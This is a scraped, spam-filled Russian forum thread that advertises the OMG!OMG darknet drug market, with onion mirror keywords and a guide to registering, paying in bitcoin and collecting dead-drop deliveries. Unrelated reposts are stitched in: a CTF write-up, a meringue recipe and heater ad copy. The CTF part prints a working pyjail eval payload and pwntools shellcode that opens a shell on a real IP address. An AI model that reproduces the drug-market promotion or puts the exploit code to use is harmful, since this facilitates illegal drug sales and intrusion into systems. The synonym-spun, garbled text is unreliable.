Рамп в тор

Ruvonize

Поддержка
Подтвержденный
Сообщения
161
Реакции
20
Уважаемые пользователи RuTOR ,  Остерегайтесь фишинг сайтов и помните об уголовной ответственности за незаконные сделки.

 OMG!OMG - MOST ADVANCED DARKMARKET

Эта площадка существует довольно давно и в этот период она медленно развивалась в тени гидры. В настоящее время это ведущий сайт по продаже веществ в даркнете.
 

⚡️ 💳MOST ADVANCED DARKMARKET ⚡️ 💳
 

🤝 Вас приветствует обновленная и перспективная площадка всея русского даркнета. 

Новые быстро действенные сервера, видоизменённый для максимального удобства интерфейс, высочайший уровень безопасности.

Новые магазины уже известных брендов, топовые товары уже знакомых вам веществ, моментальный обменник и куча других разнообразных функций ожидают клиентов площадки даркмаркетов ⚡️ 💳 OMG!OMG! ⚡️ 💳 уже сейчас!
 

👉 Заходи по ссылке и приобретай свои любимые товары по самым низким ценам во всем даркнете!

 

________________________
RUTOR — Главная торговая и информационная площадка в сети Tor.

правильная ссылка на mega, мега вход, mega ссылка, ссылка на мегу в тор, мега тор, мега через тор, ссылка на мегу онион, правильная ссылка на omg omg, ссылка на omgomg в тор, omg tor ссылка, ссылка вход в omgomg, омг сайт официальный настоящий, omg ссылка на сайт рабочая, актуальная ссылка на omgomg, официальная ссылка omg, настоящая ссылка на omgomg, вход в omgomg зеркало, омг онион ссылка зеркало, омг через зеркало, сайт омг в обход блокировки, ссылка на omgomg вход, рабочие зеркала omg, омг сайт onion, сайт омг оригинал, ссылка на сайт омг онион, правильная ссылка на гидра, hydra ссылка, ссылка на гидру в тор, гидра тор, hydra ссылка на сайт рабочая, настоящая ссылка на гидру, актуальная ссылка на hydra, официальная ссылка гидра, ссылка вход в hydra, вход на гидру зеркало
 








 


 

 

E

Ewusy

Продвинутый юзер
Сообщения
34
Реакции
24
Рамп в тор
This is my write-up for recent hack you spb CTF - a CTF for newbies. I guess I'm a bit older here ahaha.Reverse 100:#include <stdio.h>#include <string.h>int main() { char buf[64]; gets(buf); int l = strlen(buf); if (l * l!= 144) return 1; unsigned int a = buf[0] | (buf[4] << 8) | (buf[8] << 16); unsigned int b = buf[1] | (buf[5] << 8) | (buf[9] << 16); unsigned int c = buf[2] | (buf[6] << 8) | (buf[10] << 16); unsigned int d = buf[3] | (buf[7] << 8) | (buf[11] << 16); if (!(((a % 3571) == 2963) && (((a % 2843) == 215)) && (((a % 30243) == 13059)))) return 2; if (!(((b % 80735) == 51964) && (((b % 8681) == 2552)) && (((b % 40624) == 30931)))) return 3; if (!(((c % 99892) == 92228) && (((c % 45629) == 1080)) && (((c % 24497) == 12651)))) return 4; if (!(((d % 54750) == 26981) && (((d % 99627) == 79040)) && (((d % 84339) == 77510)))) return 5; printf("Congratulations %s is flag\n",buf); return 0;}First of all, I think about use something like z3, or any SAT that could give me the valid number. But z3 took a lot of time, so I decided to look deeper... Yes, you could finger out there is a pattern (x % number1 == number2), so you could apply Chinese remainder theorem to get a, b, c.Reverse 200:
This is a.pyc file, which is a file contain python byte-code. As usual, for byte-code relative problems, I search for some python byte-code decompiler and found pycdc.
After decompil, you should get something like this# Source Generated with Decompyle++# File: rev200_bot_7b541a1.pyc рамп (Python 2.7)import configimport tracebackimport refrom base64 import *from twx.botapi import TelegramBot, ReplyKeyboardMarkup, ReplyKeyboardHidesec_state = { }def process_message(bot, u):Warning: Stack history is not empty! if u.message.sender and u.message.text and u.message.chat: chat_id = u.message.chat.id user = u.message.sender.username reply_hide = ReplyKeyboardHide.create() print 'user:%s mes:%s' % (user, u.message.text) if user not in sec_state: sec_state[user] = { 'mode': 15, 'stage': 7 } cmd1 = u.message.text.encode('utf-8') a = re.findall('(\\/\\w+)\\s*(.*)', cmd1) if a: cmd = a[0][0] data = a[0][1] if cmd == '/help': bot.send_message(chat_id, 'Usage: \n\n/help - show this help\n/enter - enter secret mode\n', reply_markup = reply_hide) if cmd == '/enter': keyboard = [ [ '-7-', '-8-', '-9-'], [ '-4-', '-5-', '-6-'], [ '-1-', '-2-', '-3-'], [ '-0-']] reply_markup = ReplyKeyboardMarkup.create(keyboard) bot.send_message(chat_id, 'please enter access code', reply_markup = reply_markup).wait() if sec_state[user]['mode'] == 0 and cmd == '/7779317': ddd = b64decode(data) bot.send_message(chat_id, eval(ddd)) a = re.findall('-(\\d+)-', cmd1) if a: num = a[0] if int(num) == sec_state[user]['stage']: sec_state[user]['stage'] = (sec_state[user]['stage'] * sec_state[user]['stage'] ^ 1337) % 10 sec_state[user]['mode'] = sec_state[user]['mode'] - 1 if sec_state[user]['mode'] < 0: sec_state[user]['mode'] = 0 if sec_state[user]['mode'] == 0: bot.send_message(chat_id, 'Secret mode enabled!', reply_markup = reply_hide).wait() else: print 'NO', num, sec_state[user]['stage'] bot.send_message(chat_id, 'Invalid password!', reply_markup = reply_hide).wait() sec_state[user]['mode'] = 15 bot = TelegramBot(config.token)bot.update_bot_info().wait()print bot.usernamelast_update_id = 0while True: updates = bot.get_updates(offset = last_update_id).wait() try: for update in updates: if int(update.update_id) > int(last_update_id): last_update_id = update.update_id process_message(bot, update) continue continue except Exception: ex = None print traceback.format_exc() continue So this is a kind of chat-bot server based on Telegram.
There is eval function inside, bot.send_message(chat_id, eval(ddd)), so I need to control ddd which is a base64 decoded string from data we sent. Before that, I need to enter Secret mode by enter correct access code (0-9).
First, set sec_state[user]['mode'] = 0; First time, stage init to 7, that changed everytime you press the correct key; But if I dont remember the stage, I still could find out by bruteforce from 0 to 9, if I didn't recv incorrect message that's mean I pressed the correct one; then by use the following script, I'm able to access secret area;#coding: utf-8sec_state = { }user = "A"sec_state[user] = {'mode': 15,'stage': 7 } # bruteforce numbersec_state[user]['mode'] = 15r = []while 1: num = sec_state[user]['stage'] r.append(num) print "-%d-" % num sec_state[user]['stage'] = (sec_state[user]['stage'] * sec_state[user]['stage'] ^ 1337) % 10 sec_state[user]['mode'] = sec_state[user]['mode'] - 1 if sec_state[user]['mode'] < 0: sec_state[user]['mode'] = 0 if sec_state[user]['mode'] == 0: breakprint sec_state[user]['mode']Next, this is a pyjail, so I can't execute normal python command...
So, final payload is `str(().__class__.__base__.__subclasses__()[40]("flag","r").read())`or `/7779317 c3RyKCgpLl9fY2xhc3NfXy5fX2Jhc2VfXy5fX3N1YmNsYXNzZXNfXygpWzQwXSgiZmxhZyIsInIiKS5yZWFkKCkp`Reverse 300:
Let's get some fun.let reverse this (or not?), look at handler (the main function)ssize_t __cdecl handler(int fd){ ssize_t result; // [email protected] unsigned int buf; // [sp+20h] [bp-18h]@1 int v3; // [sp+24h] [bp-14h]@1 char *v4; // [sp+28h] [bp-10h]@4 int v5; // [sp+2Ch] [bp-Ch]@4 buf = 0; setuid(0x3E8u); seteuid(0x3E8u); setgid(0x3E8u); setegid(0x3E8u); result = recv(fd, &buf, 4u, 0); v3 = result; if ( result == 4 ) { result = buf; if ( buf <= 0xC8 ) { v4 = (char *)mmap(0, buf, 7, 33, -1, 0); v3 = recv(fd, v4, buf, 0); result = crc32(0, v4, buf); v5 = result; if ( result == 0xCAFEBABE ) { result = filter(v4, buf) ^ 1; if (!(_BYTE)result ) result = ((int (*)(void))v4)(); } } } return result;}So the basic idea is make result == 0xCAFEBABE, so the program will execute v4 as shellcode (function pointer), but you also need to bypass the filter function - check if contain any of 0x0, 0x1, 0x2f, 0x68, 0x73 ( so I can't use sh in plaintext)then exit; So, I did the following step:1. Find a program that can make crc32 of my shellcode equal 0xCAFEBABE
2. Make a great shellcode and Bypass filter.
By search google for everything, the answer for problem 1 is force-crc32.
Currently I'm also trying to learn some binary вход exploit method, write a shellcode isn't hard (hint xor), but if there is any framework that's good enough as pwntools , you shoud try at least once.
Basicaly, I import pwns and let pwntools do the rest;from pwn import *import socket, struct, telnetlibdef getCRC(data): import subprocess with open('/tmp/12', 'wb') as f: f.write(data + "123456") subprocess.check_output(['python', 'forcecrc32.py', '/tmp/12', str(len(data)+1), 'CAFEBABE']) with open('/tmp/12', 'rb') as f: data = f.read() return datadef crc32(data):# recheck import zlib return (zlib.crc32(data)) & 0xffffffffd = ""d += asm(pwnlib.shellcraft.i386.linux.dup2(4,0))d += asm(pwnlib.shellcraft.i386.linux.dup2(4,1))# i need dup2 because the program use itself as serverd += asm(pwnlib.shellcraft.i386.linux.sh())fsc = pwnlib.encoders.encoder.encode(d, '\n\x01\0\x2f\x73\x68')print len(fsc)fsc = getCRC(fsc) # it didn't contain any blocked char, so i dont need to re-generate again.print hex(crc32(fsc))#yes, i love my custom socket lib 🙁s = socket.create_connection(("78.46.101.237", 3177))s.send(p32(len(fsc)))s.send(fsc)s.send("\n")s.send("cat flag*\n") print s.recv(1024)To be continued....Related
 
Z

Zaryju

Продвинутый юзер
Сообщения
26
Реакции
22
нимности во сети интернет появляется достаточно зачастую. С Целью 1 юзеров данное секретность присутствие пребывании во всемирной узы, но с целью иных объезд различных блокировок также заказов. Со не так давно произошедших времен во Российской Федерации также иных государствах СНГ начали воспрещать прокси-сервера, со поддержкой каковых функционирует Tor интернет-браузер. Согласно данной фактору многочисленные юзеры никак не имеют все шансы войти в веб-сайт onion который работает во границах узы Tor. Я обнаружили разрешение данной трудности. Сейчас раскрыть ссылочку .onion также надежно войти в веб-сайт omg возможно посредством обыкновенный интернет-браузер:Моментальные продажи ОМГ сайт онион — посещение нашего сайта полностью безопасное, для этого постарались наши программисты !Об веб-сайте omg omg данное сеть интернет торговый центр разных продуктов конкретной темы. Торговый Центр дает 2 типа доставки продуктов: 1 – данное сокровище (закладки, хранилище, соблазн, прикоп); 2 – поставка согласно целой российской федерации (почтовая отправление, фельдъегерская поставка). Колоссальное число опробованных продавцов благополучно реализовывают собственные реализации в течении некоторых года. В веб-сайте существует концепция откликов, со поддержкой каковых Вам сумеете удостовериться во добросовестности торговца. Сеть Интернет-торговый центр omg адаптирован около всевозможные приборы. Войти в веб-сайт возможно со пк, планшета, телефонного аппарата, iphone, android. Во взаимосвязи со блокировкой ресурса около веб-сайта Гидры время от времени обновляются зеркала с целью ее обхода. Следом из-за новейшими зеркалами возникают также “фейки” веб-сайта omg. Аферисты со мишенью наживы изобретают все без исключения наиболее утончённые методы похитить Вашинский акк. Взамен гиперссылки omg2web.com аферисты подкидывают нам то что-нибудь вида: omg2web.ru представляете разность? Как Правило фейк смотрится абсолютно таким образом ведь равно как также формальный веб-сайт полип, однако войти во ЛК точнее в целом никак не удастся, полиадельфит. данное фейк также предназначается некто только лишь с целью созыва логинов/паролей. Постоянно контролируйте ссылочку omg согласно каковой вам заглядывайте во торговый центр также в то время Вам Сто Процентов никак не влипнете во лапы аферистам.ОМГ зеркало Рабочее зеркало ОМГ – список своевременных зеркал omg тут Не выходит побывать вебсайт omg?omg сайт | Как зайти на гидру | Рабочий шлюз Onion | omg web | ОМГ зеркала. omg зеркало – как попасть на сайт. как зайти на сайт ONION Рекомендуем для вас перечень трудящихся зеркал ОМГ онион официального вебсайта omg. Всякий раз свежее и животрепещущее зеркало ОМГ Онион гиперссылка лишь только у нас на веб-сайте.Анонимайзер omg-Onion Подобным Способом в таком случае то что такое анонимайзер кроме того со мишенью чего же ведь он нужен? Основная задача разочарование анонимайзера, точно также равно как кроме того разных других анонимайзеров это скрыть личные персональные данные. Ко Образцу, аналогичные точно также равно как ip месторасположение, местоположение кроме того минерал.символ. Из-За использованию прокси-сервера, линия сеть интернет трафик пользователя сначала протекает во прокси пк, однако затем во посещаемую сеть интернет страницу кроме того подобным способом так как обратно. Таким методом известный пользователем ресурс следит данные прокси-сервера, однако совсем никак не более пользователя. С-Из-За смены данных о пользователе, анонимайзер получил необходимый “незначительный эффект” – это обход блокировок интернет-веб-сайтов. Во Случае В Случае Если интернет-веб-сайт заблокировали во территории отечественная ассоциация, во этом случае достаточно использовать прокси-пк любой другой страны, во котором участке интернет-веб-сайт совсем никак не действует приблизительно запрет. omg сайт | Как зайти на гидру | Рабочий шлюз Onion | omg web | ОМГ зеркала. omg зеркало – как попасть на сайт. как зайти на сайт ONION Подобным Способом, в таком случае то что так как такое анонимаезер? Это собственный защитник, в прямом смысле этого слова, он помагает совсем никак не нарушать наши возможности кроме того самостоятельность!Я в то же время пожелаю обратиться к Муниципальному антинаркотический альянсу кроме того рекомендую во базе Международной антинаркотический федерации, интеллигентной в соответствии с инициативе Российская Организация, сформировать международную проект в формате молодёжного передвижения.Я уверена, в таком случае то что “Отечественная Ассоциация приблизительно веществами” является достойным конкурентом в борьбе с-из-за 1-ое значимость в номинациисохраните ссылку во этот интернет-веб-сайт в закладки.Все Без Исключения В Отсутствии Изъятия протекает точно также равно как следует, акт будет уникален кроме того для вас сможете получить все без исключения в отсутствии изъятия в таком случае то что пожелаете.
Рамп в тор
 

Egurexip

Пассажир
Сообщения
113
Реакции
24
ОМГ – один из самых крупных даркмаркетов, широкая платформа, дающая возможность любому посетителю реальность покупать неразрешенный товар либо воспользоваться услугой, найти которую в открытом доступе почти нереально. На интернет-портале находится огромное число online магазинов. Надо детальнее выучить, что представляет собой площадка и для чего необходим пользователям Гидры интернет-браузер Tor.Обзор на ГидруОМГ сайт – это большая платформа, на необъятных просторах которой всякий подыщет для себя нужную вещь либо услугу, о которой прежде мечтал. Реализацией изделий заняты специальные торговые центры, действующие круглые сутки и с завидной постоянностью обновляющие и так объемистый ассортимент. Особо можно заметить, что интернет-проект предоставляет услуги транспортировки купленного продукта.Оформление заявки не требует большое количество времени. В общем доступе расположены рецензии заказчиков, уже пользовавшихся работой конкретного магазина. В связи с этим возможный заказчик сможет предварительно прочитать их и выяснить о качестве продукции, тонкостях сотрудничества с продавцом.Особенность omgbuiwftrzuqy.onion сайта – наличие службы секретных клиентов. Политика, какую они проводят, помогает увеличить уверенность клиентов. Оказывается скрытые клиенты покупают разные товары и делают их тест, в том числе и химический. Если товар не подходит конкретным условиям, значит продавец, у которого был куплен товар, заблокируются системой, а его товар пропадает с онлайн прилавков.Транспортировка заказа производится в режиме закладки. Кладмен приезжает по обозначенному заказчиком местоположению и прячет предмет торговли, после чего посылает его координаты. Оплату покупатель имеет право осуществить только лишь когда станет взят товар, и конечно выполнена оценка его качества. При появлении проблем с качественными характеристиками или транспортировкой заказчик сможет открыть спор.Главная валюта Гидры – биткоин. Превосходством подобной валюты является анонимность электронных активов, в связи с чем все организуемые на ресурсе операции с денежными средствами защищены. Определенные он-лайн магазины готовы взять в оплату QIWI-рубли.Наши советы начинающим покупателямЧтобы в ходе приобретений не появилось никаких затруднений, потребителю нужно принять к сведению ряд рекомендаций:Перед покупкой важно смотреть отзывы о приобретаемой услуге либо изделии. Это поможет заранее выяснить о качественных характеристиках продукции, спецификах магазина, нюансах доставки. Рецензии располагаются в общем доступе.Плату предпочтительнее производить после того как приняли заказ. Только в этом случае у клиента окажется способность вернуть средства при обнаружении плохого качества продукта.В том случае, если покупателю пришлась по нраву услуга или он выдал оценку изделию, надо написать отзыв. Это обязательно поможет прочим клиентами Гидры сделать правильный выбор.Модераторы платформы также рекомендуют использовать ранее нигде не задействованные логины и пароли во время регистрирования своего аккаунта.Tor – браузер для ГидрыОсобый браузер Tor позволит гостям портала беспрепятственно войти на официальный интернет-сайт, предоставляя ссылку на омг сайт. Достоинством платформы стало присутствие принципа «луковичной маршрутизации», именно благодаря какой вход Гидры, а также совершение каких-то операций на площадке будет оставаться анонимным и безопасным для обеих сторон.Для того, чтобы установить Тор, потребуется:Перейти на сайт.Закачать архив.Открыть в архиве файл с расширением exe.Выбрать папку и язык установки.Дожидаться окончания операции.После чего останется только запустить браузер и ввести в поисковую строку подходящий запрос. По основной ссылке на Гидру и можно попасть на официальный сайт даркмаркета. Абоненту надо будет перейти на нее, для того, чтобы приступить к покупкам.Каким способом завести учёту на Гидре?Для того, чтобы пребывать на сайте официально и проплачивать изделия и сервисы портала, клиенту Гидры нужно создать личный аккаунт. Для этой цели ему потребуется:Перейти в раздел регистрации на сервисе ОМГ.Выдумать логин и пароль задуманного аккаунта. Модераторы вебсайта рекомендуют применить ранее нигде не задействованные сведения.Подтвердить пароль, введя его еще раз.Засвидетельствовать прохождение регистрации.После завершения вышеуказанного клиенту откроется вход в личный кабинет, где у него есть возможность иметь сведения о состоянии заявки, проплачивать товары либо устанавливать связь с дирекцией проекта.Баланс на Гидре – каким образом пополнить?Для проплаты закупок нужно будет дополнить счет собственного кошелька. Чтобы это осуществить, нужно сначала купить особый фиат, потом за него приобрести биткоин – главную валюту системы. Потом останется только лишь перебросить биткоин в кошель, и станет возможно покупать товары или сервисы.Приобрести фиат можно работая в режиме online на специальном ресурсе или в ближнем месте обмена. Доскональную информацию по вопросу, как покупать валюту, а также в каком месте это делают, можно получить, сделав мониторинг обмена криптовалют.Когда фиат обменяете на необходимое число биткоинов, понадобится выполнить перечисление криптовалюты в игру. Сделать это можно двумя вариантами:Используя цифровую денежную систему, в частности, QIWI. Для того, чтобы произвести перевод, нужно скопировать номер электронного кошелька и определить величину перевода. Остальное система проделает самостоятельно.Используя пункт обмена на Гидре. Требуется указать кошелек, где располагаются биткоины и подтвердить выполнение действия.Фактически, технология перевода биткоина не представляет из себя bts Jin ничего сложного.Как отыскать доступную ссылку на гидру?Поскольку ОМГ выполняет свою деятельность нелегально, торгуя нелегальными веществами и предлагая запрещенные сервисы, отыскать ее быстро не удастся. Выполнить это сможете с применением интернет-браузера Tor. Дополнительно создатели портала настоятельно рекомендуют сохранить официальную страничку даркмаркета в закладки браузера, чтобы было можно всегда зайти на измененный доменный интернет-адрес ссылку на omg зеркало. Изменение адреса объясняется тем, что главный портал частенько блокируют.  
 
I

Ipeza

Пассажир
Сообщения
51
Реакции
1
Сайт омг не работает сегодня omg4supports comOcuvuДобавлено 3 часов назад на m статус По старым данным зайти не смогла - зарегистрировалась еще раз чтобы связаться с поддержкой. Антивирус и файрвол Проверьте, чтобы антивирусные программы (McAfee, Kaspersky Antivirus или аналог) или файрвол, установленные на ваш компьютер не блокировали доступ к omg. Главное…
 

Tiqaka

Пассажир
Сообщения
49
Реакции
7
Форум breadcrumbs - Вы здесь:ФорумФорум: Обсуждения по странамomg официальный сайт зеркало ги …Вы должны войти, чтобы создавать сообщения и темы.18.12.2021, 10:07Цитата: Arthurcow от 18.12.2021, 10:07Here:
- https://outmefkompkettdes.tk/gidra-oficialnyj-sajt-omgrusikwpnew4afonion-com/11464-omg-oficialnyj-sajt-zerkalo-gidra-omgpchela-com.html
- [url=https://outmefkompkettdes.tk/gidra-oficialnyj-sajt-omgrusikwpnew4afonion-com/11464-omg-oficialnyj-sajt-zerkalo-gidra-omgpchela-com.html]omg официальный сайт зеркало омг omgpchela com[/url]
Here:
- https://outmefkompkettdes.tk/gidra-oficialnyj-sajt-omgrusikwpnew4afonion-com/11464-omg-oficialnyj-sajt-zerkalo-gidra-omgpchela-com.html
- [url=https://outmefkompkettdes.tk/gidra-oficialnyj-sajt-omgrusikwpnew4afonion-com/11464-omg-oficialnyj-sajt-zerkalo-gidra-omgpchela-com.html]omg официальный сайт зеркало омг omgpchela com[/url]Ответить omg официальный сайт зеркало омг omgpchela com
 

Ifyhog

Пассажир
Сообщения
35
Реакции
18
For English version – please read belowאז הכנתם אלפחורס ונשארו חלבונים?
הברשתם בורקס בחלמון ונשאר החלבון?
הכנתם בצק פריך ונשארו 2 חלבונים?
חלבונים לא זורקים!
אז מה עושים? מאחסנים בכלי נקי, מקפיאים, וכשמתחשק – מוציאים ומכינים מרנגים.כללי זהב למרנג מושלם:משקל הסוכר יהיה תמיד כפול ממשקל החלבונים. שקלו החלבונים. יצא 142 גרם? הוסיפו 284 גרם סוכר.האויב מספר 1 של המרנג הוא שומן ולכן סביבת העבודה חייבת להיות יבשה ונקיה לחלוטין. אפילו כמות זעירה של שומן תפיל את המרנג. חלמון גם הוא שומן ולכן יש להפריד את החלבונים מחוץ לקערה ולהוסיף לקערה רק חלבונים נקיים לחלוטין. פספסתם ונזל קצת חלמון? הכינו מהביצה חביתה והפרידו ביצה אחרת.צבעי מאכל (צבעי ג'ל) מוסיפים בסוף ההקצפה ומערבבים קלות. ערבוב יתר עם צבעי מאכל יפיל את המרנג. כך גם קקאו (מכיל שומן) ולכן להוסיף רק בסוף ולערבב בעדינות עם כף או מרית. את הנשיקות אופים בטורבו. אנחנו בעצם רוצים לייבש את המרנג ולכן כדאי שסביבת האפיה תהיה כמה שיותר יבשה.את נשיקות המרנג שומרים בקופסה אטומה ושומרים במקום יבש ומוצל, עד חודש.חוששים מהקצפת יתר? אל חשש!
במרנג אין כזה דבר הקצפת יתר. טוב יש, אבל זה כמו הרעלת מים. זה קורה רק אם ממש ממש ממש ממש מגזימים, ומקציפים במהירות על-חלל במשך שעה. ומה שיקרה אז זה שנקבל מרנג קשה, ויתכן ויהיו בו בועות אויר. נו – וגם זה לא נורא. מאידך – חוסר הקצפה יביא למרנג רך מדי שלא שומר על צורה. מה עדיף? אז אל חשש. כלים יבשים ונקיים והקצפה הגונה של 10 דקות במהירות גבוהה.לגבי החלפת צנתרים – כמה אפשרויות. אפשר להכין כמובן כמה שקיות זילוף שבכל אחת צנתר אחר. מסיימים עם שקית אחת, מזלפים את שאר המרנג לשקית הבאה וכך ממשיכים הלאה.
שיטה שניה – מכניסים חלק מהתערובת לשקית אחת, שאר התערובת ממשיכה להתערבל במיקסר. לא נותנים לה לנוח. מרנג שיושב חסר מעש מאבד את הגמישות. לכן המרנג מתערבל במיקסר עד לרגע הזילוף.
שיטה שלישית – עם שקית אחת בלבד – שמים בה את הצנתר הרחב ביותר. כשנמאס ממנו – מלבישים עליו מבחוץ צנתר חדש, מחזיקים אותו צמוד עם היד במזן שמזלפים עוד.למה אופים אותו כל כך הרבה שעות? אי אפשר טמפרטורה גבוהה יותר לפחות זמן?
לא, אי אפשר. טמפרטורה גבוהה יותר תגרום לנשיקות מרנג סדוקות ולשינוי צבע לצהבהב.
המטרה היא רק לייבש את המרנג, לא באמת לאפות אותו. לכן חום כל כך נמוך לזצן ממושך (בימי שרב אפשר פשוט להניח את התבניות במרפסת ;-)).אפשר לאפות את כל התבניות בו זמנית. אפילו 5. בטורבו כמובן.המצרכים:
150 גרם חלבונים (כ-4 חלבונים מביצים בינוניות)
300 גרם סוכר (1.5 כוסות)
כפית קורנפלור
צבע מאכל (לא חייבים)ההכנה:
מערבבים בקערת מיקסר חלבונים וסוכר.
מניחים את הקערה מעל סיר שבתוכו מים רותחים (בן מארי) ומחממים מעל להבה בינונית כ-10 דקות, מערבבים מדי פעם, עד שהתערובת חמימה ורוב הסוכר נמס.
מורידים מהאש ומעבירים את הקערה למיקסר עם וו הקצפה.
מקציפים במהירות בינונית כדקה. מפסיקים את המיקסר, מוסיפים קורנפלור וממשיכים להקציף במהירות גבוהה כ-10 דקות.
אם רוצים לצבוע את המרנג מוסיפים צבעי מאכל בסוף ומערבבים קלות עד לצביעה אחידה.לנשיקות:
מעבירים לשקית זילוף, מזלפים נשיקות על תבנית מרופדת בנייר אפיה ואופים בטורבו בחום של 60-70 מעלות כ-6 שעות רעיונות נוספים לזילוף מרנגים:Basic MeringueIngredients:
150g egg whites
300g sugar
1tsp corn starch
food coloringInstructions:Preparation:
Line a baking sheet with parchment paper
In a heat proof bowl of beat together sugar and egg whites.
Place the bowl over a pot of boiling water (bain marie) and heat over medium flame for about 10 minutes, stir occasionally, until the mixture is warm and most of the sugar dissolves.
Remove from the heat and pour mixture into the bowl of stand mixer (make sure it’s clean) fitted with the whisk attachment. Whisk on medium speed for about 1 minute. stop the mixer and add the corn starch. Continue whisking, high speed, until stiff peaks form and you can turn the bowl upside down without the mixture falling out. about 10 minutes.
If you want to paint the meringue, add food coloring at the end and mix lightly until uniform.To make meringue kisses:
Transfer to a piping bag, pipe kisses on baking paper and bake at a temperature of 60-70c ("turbo" function) degrees for about 6 hours 
 
Y

Ytuhavaw

Пассажир
Сообщения
82
Реакции
21
ContactWarm flames breathe & glow with realistic logs & embers, bringing your fireplace to lifeManually controlled Vented log sets are perfect for chimneyed fireplacesVent-Free logs are a great option where you don't have a flu. Models include Thermostat, Remote, or Manual controlsRemote models have a unique self-charging feature that allows the battery to be re-charged by the flameLearn More »Vent-Free heating provides supplemental heat to rooms allowing energy savingsNo vent pipes needed, keeping all the heat in the room and installation costs at a minimum.Oxygen Depletion Sensor (ODS) turns the heater off if the oxygen drops below a safe level.No Electricity needed. Great during power failuresLearn More »Torpedo Heaters are great for construction sites and outdoor tented areas that have good ventilation.High Quality Danfoss Gear pumpAutomatic ignitionOver Heat ProtectionElectronic Thermostat with Digital DisplayLearn More »Infared Radiant waves heat the object and not the air making it ideal for outdoor applications or construction areas with good ventilationPiezo IgnitionFar more portable than traditional patio heatersGreat for tailgatingLearn More »The Thermablaster Industrial Electric heaters are perfect for workshops with high ceilings and large floor space.Heat Output: 14000 BTU & 17000 BTUElectric blower heater for professional purposesDurable stainless steel heating elementThermostat controlLearn More »BLOG12.12.16THERMABLASTER Remote Log Sets with Dr. Frank on CBS TV PittsburghRead More04.28.16Thermablaster by Reecon will be attending the National Hardware Show in Las Vegas on May 4th through May 6th!Thermablaster by Reecon will be attending the National... Read More12.03.15Thermablaster Outdoor Infrared Heaters on GroupOn!https://www.groupon.com/deals/gg-thermablaster-outdoor-infrared-heaters Thermablaster Outdoor Infrared Heaters are now available... Read More
 

Похожие темы

Сверху Снизу